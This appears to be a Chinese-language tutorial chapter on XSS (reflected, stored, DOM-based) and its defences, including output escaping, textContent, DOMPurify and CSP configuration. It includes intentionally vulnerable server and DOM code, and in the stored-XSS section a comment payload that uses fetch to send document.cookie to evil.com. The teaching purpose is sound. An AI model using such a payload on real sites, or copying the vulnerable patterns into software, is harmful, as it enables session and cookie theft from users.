4、前端安全(XSS):反射型、存储型、DOM型XSS的原理与防御、CSP策略配置
聊到前端安全,XSS 绝对是绕不开的头号大敌。
我这些年做安全审计,十次里有八次的问题都跟 XSS 沾边。说白了,XSS 就是攻击者往你的页面里塞了一段恶意脚本,然后让浏览器去执行。你想想看,脚本能干什么?它能偷你的 Cookie、篡改页面内容、甚至模拟你的操作去发请求。
嗯,咱们今天就把 XSS 的三种形态掰开揉碎了讲清楚。
反射型 XSS(Reflected XSS)
这种 XSS 最「直来直去」。攻击者把恶意脚本藏在 URL 的参数里,然后诱导用户点击这个链接。服务端收到请求后,没做任何过滤,直接把参数里的脚本「反射」回页面里。
举个例子,一个搜索页面:
// 服务端代码(有漏洞)
app.get('/search', (req, res) => {
const keyword = req.query.q;
res.send(`<h1>搜索结果:${keyword}</h1>`);
});
攻击者构造一个链接:
https://example.com/search?q=<script>alert('XSS')</script>
用户一点,脚本就执行了。我在项目中遇到过类似的情况,当时是一个老旧的搜索接口,直接把参数拼到了 HTML 里。修复起来其实很简单——对输出做 HTML 实体编码。
核心防御原则:「输入过滤 + 输出转义」。永远不要信任用户的输入,尤其是要拼接到 HTML 里的数据。
存储型 XSS(Stored XSS)
这个比反射型危险得多。恶意脚本被永久保存在服务端(比如数据库里),每个访问页面的用户都会中招。
典型的场景是评论区。攻击者发了一条评论:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
服务端把这条评论原封不动存进数据库。之后每个用户打开这个页面,脚本都会执行,Cookie 就被偷走了。
我记得有一次做渗透测试,发现一个论坛的「个人签名」字段存在存储型 XSS。管理员每次审核帖子都会触发脚本,攻击者直接拿到了管理员的会话。嗯,这个教训挺深刻的。
避坑指南:我曾经见过团队只在前端做过滤,后端直接存原始数据。这是大忌!前端过滤只是用户体验层面的,后端必须再做一次校验和转义。
DOM 型 XSS(DOM-based XSS)
这种 XSS 比较隐蔽。它不经过服务端,完全在浏览器端发生。攻击者利用前端 JavaScript 动态操作 DOM 时的漏洞,把恶意代码注入进去。
看个例子:
// 有漏洞的代码
const hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash;
攻击者构造 URL:
https://example.com/#<img src=x onerror=alert(1)>
页面加载后,hash 值被直接塞进 innerHTML,图片加载失败触发 onerror 事件,脚本就执行了。
为什么会这样?因为 innerHTML 会解析 HTML 标签。正确的做法是用 textContent 或者 innerText,它们只处理纯文本。
个人习惯:我写前端代码时,只要涉及动态插入内容,一律优先用 textContent。如果必须用 innerHTML,那一定先用 DOMPurify 库做一遍清洗。
三种 XSS 的对比
| 类型 | 存储位置 | 触发方式 | 危害范围 |
|---|---|---|---|
| 反射型 | URL 参数 | 用户点击恶意链接 | 单个用户 |
| 存储型 | 服务端数据库 | 访问被感染的页面 | 所有访问用户 |
| DOM 型 | 浏览器内存 | 页面执行了恶意 JS | 单个用户 |
CSP 策略配置:最后一道防线
就算代码里漏了过滤,CSP(内容安全策略)还能救你一命。CSP 告诉浏览器:「哪些来源的脚本可以执行,哪些不行。」
配置方式很简单,在 HTTP 响应头里加一行:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
这条策略的意思是:
- 所有资源默认只允许从本站加载
- 脚本只允许从本站和指定的 CDN 加载
如果攻击者注入了内联脚本 <script>alert(1)</script>,浏览器会直接拒绝执行,因为 CSP 没允许内联脚本。
我建议的 CSP 配置模板:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-随机值';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
object-src 'none';
frame-ancestors 'none';
用 nonce 机制给每个合法的脚本一个随机令牌,攻击者猜不到这个值,内联脚本就注入不进去了。
注意:CSP 不是银弹。它只能限制脚本执行,不能阻止数据被窃取。而且配置太严格可能导致页面功能异常。我曾经见过一个团队把 CSP 配得太死,结果第三方支付回调全挂了。嗯,上线前一定要充分测试。
总结一下防御要点
- 输入过滤:后端对所有用户输入做校验,拒绝可疑字符
- 输出转义:根据上下文(HTML、JavaScript、CSS、URL)做对应的编码
- 使用安全 API:用 textContent 代替 innerHTML,用 setAttribute 代替直接操作属性
- 开启 CSP:配置严格的 Content-Security-Policy 头
- HttpOnly Cookie:敏感 Cookie 设置 HttpOnly 标志,防止被脚本读取
你想想看,只要把这几点做到位,XSS 基本就无机可乘了。我这些年做安全加固,最深的体会就是:安全不是某个点的防御,而是一条完整的链路。前端、后端、网络层,每一环都得守住。